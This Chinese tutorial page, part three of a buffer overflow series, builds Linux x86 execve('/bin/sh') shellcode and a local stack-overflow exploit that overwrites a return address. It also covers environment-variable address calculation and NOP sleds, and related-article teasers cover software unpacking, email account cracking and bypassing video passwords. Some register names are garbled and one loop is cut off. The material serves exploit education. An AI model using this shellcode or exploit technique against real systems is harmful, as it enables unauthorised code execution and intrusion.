缓冲区溢出解密三                
                
                    所属分类:
                        网络安全 / 加密解密                    
                    阅读数:
                        112
                    
                        收藏 0赞 0分享
                    
                 
                
                    
如何执行 /bin/sh? 
在C中,spawn出一个shell的代码可能象这样: 
shell.c :
#include 
void main()
{
        char *shell[2];
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g    shell.c   -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。 
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能! 
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。 
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。 
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看: 
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
 804ca10:       53              pushl  離
 804ca11:       8b 54 24 10     movl   0x10(%esp,1),韝
 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),靫
 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),離
 804ca1d:       b8 0b 00 00 00  movl   $0xb,陎
 804ca22:       cd 80           int    $0x80
 804ca24:       5b              popl   離
 804ca25:       3d 01 f0 ff ff  cmpl   $0xfffff001,陎
 804ca2a:       0f 83 00 02 00  jae    804cc30 
 804ca2f:       00
 804ca30:       c3              ret
 804ca31:       90              nop
[murat@victim murat]$
让我们一步一步地分析这个系统调用: 
记住,在我们的main()函数里,我们写了代码: 
execve(shell[0], shell, NULL) 
我们传递了: 
·字符串”/bin/sh”的地址 
·NULL结尾数组的地址 
·NULL(实际上它是环境地址) 
此处,在main里面: 
[murat@victim murat]$ objdump -d shell | grep \:  -A 17
08048124 :
 8048124:       55              pushl  雙
 8048125:       89 e5           movl   %esp,雙
 8048127:       83 ec 08        subl   $0x8,%esp
 804812a:       c7 45 f8 ac 92  movl   $0x80592ac,0xfffffff8(雙)
 804812f:       05 08
 8048131:       c7 45 fc 00 00  movl   $0x0,0xfffffffc(雙)
 8048136:       00 00
 8048138:       6a 00           pushl  $0x0
 804813a:       8d 45 f8        leal   0xfffffff8(雙),陎
 804813d:       50              pushl  陎
 804813e:       8b 45 f8        movl   0xfffffff8(雙),陎
 8048141:       50              pushl  陎
 8048142:       e8 c9 48 00 00  call   804ca10 
 8048147:       83 c4 0c        addl   $0xc,%esp
 804814a:       c9              leave
 804814b:       c3              ret
 804814c:       90              nop
在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。 
因此,如果我们回到__execve: 
我们拷贝NULL字节到EDX寄存器,
 804ca11:       8b 54 24 10     movl   0x10(%esp,1),韝
我们拷贝以NULL结尾数组的地址到ECX寄存器,
 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),靫
我们拷贝字符串"/bin/sh"的地址到EBX寄存器
 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),離
我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
 804ca1d:       b8 0b 00 00 00  movl   $0xb,陎
接着变成核模式:
 804ca22:       cd 80           int    $0x80
我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?: 
xorl 陎, 陎
 pushl 陎
 pushl   $0x68732f2f 
 pushl   $0x6e69622f 
 movl    %esp,離
 pushl   陎 
 pushl   離 
 movl    %esp,靫
 cdql
 movb    $0x0b,%al
 int     $0x80
让我解释一下上面的指令: 
如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。 
xorl 陎, 陎 
接着我们把NULL推入堆栈: 
pushl 陎 
我们把字符串”//sh”推入堆栈, 
2f is /
 2f is /
 73 is s
 68 is h
        pushl   $0x68732f2f
我们把字符串”/bin”推入堆栈: 
2f is /
 62 is b
 69 is i 
 6e is n 
 pushl   $0x6e69622f
可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。 
movl %esp,離 
接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。 
pushl 陎 
接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]: 
pushl 離 
现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址: 
movl %esp,靫 
我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。: 
cdql 
我们设定EAX 为0xb,这是系统调用表中的系统调用id。 
movb $0x0b,%al 
接着,我们转换到核模式: 
int 0x80 
之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell…… 
因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码: 
sc.c :
char newsc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    陎,陎              */
    "\x50"                 /* pushl   陎                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,離              */
    "\x50"                 /* pushl   陎                   */
    "\x53"                 /* pushl   離                   */
    "\x89\xe1"             /* movl    %esp,靫              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
 80494b0:       31 c0           xorl   陎,陎
 80494b2:       50              pushl  陎
 80494b3:       68 2f 2f 73 68  pushl  $0x68732f2f
 80494b8:       68 2f 62 69 6e  pushl  $0x6e69622f
 80494bd:       89 e3           movl   %esp,離
 80494bf:       50              pushl  陎
 80494c0:       53              pushl  離
 80494c1:       89 e1           movl   %esp,靫
 80494c3:       99              cltd
 80494c4:       b0 0b           movb   $0xb,%al
 80494c6:       cd 80           int    $0x80
 80494c8:       00 00           addb   %al,(陎)
        ...
[murat@victim newsc]$
在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。
那么,这里就是完整的shell代码: 
"\x31\xc0"             /* xorl    陎,陎              */
    "\x50"                 /* pushl   陎                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,離              */
    "\x50"                 /* pushl   陎                   */
    "\x53"                 /* pushl   離                   */
    "\x89\xe1"             /* movl    %esp,靫              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
最后测试我们的shell代码: 
shellcode.c :
char sc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    陎,陎              */
    "\x50"                 /* pushl   陎                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,離              */
    "\x50"                 /* pushl   陎                   */
    "\x53"                 /* pushl   離                   */
    "\x89\xe1"             /* movl    %esp,靫              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;
main()
{
        int *ret;
        ret = (int *)&ret   2;
        *ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯,它生效了。上面我们所做的是,增加ret的地址2个双字(8字节),因而就到了main()的返回地址存储的内存位置。接着,因为ret相应的地址现在是RET,我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上,我们在这里改变了返回地址的值,而这个返回地址就指向了sc[]。当main()发送RET时,sc的地址写到EIP中了,接着,CPU开始在这执行指令,造成了/bin/sh的执行。
写本地缓冲区溢出漏洞利用程序 
现在,让我们看看下面的程序: 
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
        int i;
        char foo[12];
        int *ap = (int *)large_str;
        for (i = 0; i 
瞧!就是它了!我们做了什么?在for循环里面,我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节),我们以4为步长增加i。接着,在main()里,当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查,而且一直拷贝到main的返回地址。接着,当strcpy指令发送到RET,我们shellcode的地址已经被POP进去了,而且放入了EIP。接着它就被执行了。这里有一件事是:strcpy没有溢出它的缓冲区,它溢出了main()的缓冲区,因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始,而不是strcpy返回的时候。 
上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢?我们不能预先知道内存的布局,不是吗?这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢?首先,我们必须用某些途径把shellcode植入到有弱点的程序,而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时,有两种方法。 
1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的,我们把我们的shellcode放置到有缺陷程序的缓冲区,而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法,我们能知道我们shellcode的地址!这真是太好了!怎么做?看这个:如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址,你将看到象这样的一些东西: 
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ......        | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |
看上面的图,我们都会同意我们能计算最后一个环境变量地址。它是: 
envp = 0xBFFFFFFF           -
       4                    - (4 NULL bytes)
       strlen(program_name) - (program_names's length - without the leading NULL).
        1                   - (NULL which strlen did not count above)
       strlen(envp[n])) (the length of last environment string)
除去一些不必要的计算,这里是最终的结果: 
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n]) 
你还记得我们给execve提供一个环境指针吗?这有没有让你想起什么?对了,我们可以通过这个环境指针把我们的shellcode传给漏洞程序,并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。 
计算我们的shellcode 地址的公式: 
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc); 
至于Aleph1在他的文章中讨论的在外面被广泛使用的方法,多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章,Smashing the Stack for Fun and Profit。 
一般来说,在这个方法中,我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后,我们放置我们的shellcode,接着是这个shellcode的地址。 
如我前面所说的,既然我们不知道我们shellcode的准确地址,我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。 
                                    
             
            
                
                Getright 5 手动脱壳和重建IAT--第二部分(图)
在本参考教程的第一部分我们学习了如何正确地转储(dump)Getright 5. 现在我们将要去找神奇跳转,这样IAT会被正确地转储下来,而不用手工修复了. 要完成这一点,我们需要打败程序中的一些陷阱, 并使它们即使在检测到被执行脱壳时也无所作为. 
让我们开始吧! 
第
                    
                    收藏 0赞 0分享
Getright 5 手动脱壳和重建IAT--第一部分(图)
这是一篇Armadillo加壳软件Getright 5.01的脱壳译文,我是参照Ricardo Narvaja的“Getright 5 脱壳和重建IAT”的文章以及Bighead[DFCG][YCG]的译文,一边实践一边再次翻译的。感谢Ricardo Narvaja和Bighea
                    
                    收藏 0赞 0分享
黑客破解Email账号最常用的三种方法
电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节,恶意用户如果利用其漏洞,就能够轻易的破解出账号,获得邮件内容。
一、利用邮件服务器操作系统的漏洞
邮件服务器软件是运行在特定的操作系统上的,如Linux、Windows NT/20
                    
                    收藏 0赞 0分享
黑客技术之slv unpackme 脱壳
其实壳本身不要紧,问题是vm里面有个校验。
sm同学手下留情,我勉强能搞一个运行正常的,没精力还原vm了。
在virutalfree的retn上f4, 直到[esp]是一个exe image内的地址f7返回:
0040FA91    B8 BE180000     m
                    
                    收藏 0赞 0分享
Allok Video to 3GP Converter 脱壳+破解(图)
①。
下载好安装后,用DIT查看为MoleBox 2.5.x.
-----------------------------------------------------------------------------
OD,载如RUN,程序完全运行后,ALT+M查看内存映
                    
                    收藏 0赞 0分享
有密码 优酷视频 破解方法
优酷网站的视频可以设置独立的播放密码,不过你可知道:观看有密码的优酷视频其实不需要密码哦。下面讲述两种方法进行优酷视频密码破解的方法。 
优酷视频密码破解一: 
打开FLV解析网站,这里推荐使用该站点:http://www.flvcd.com,从浏览器地址栏复制需要解密的优酷
                    
                    收藏 0赞 0分享
                 查看更多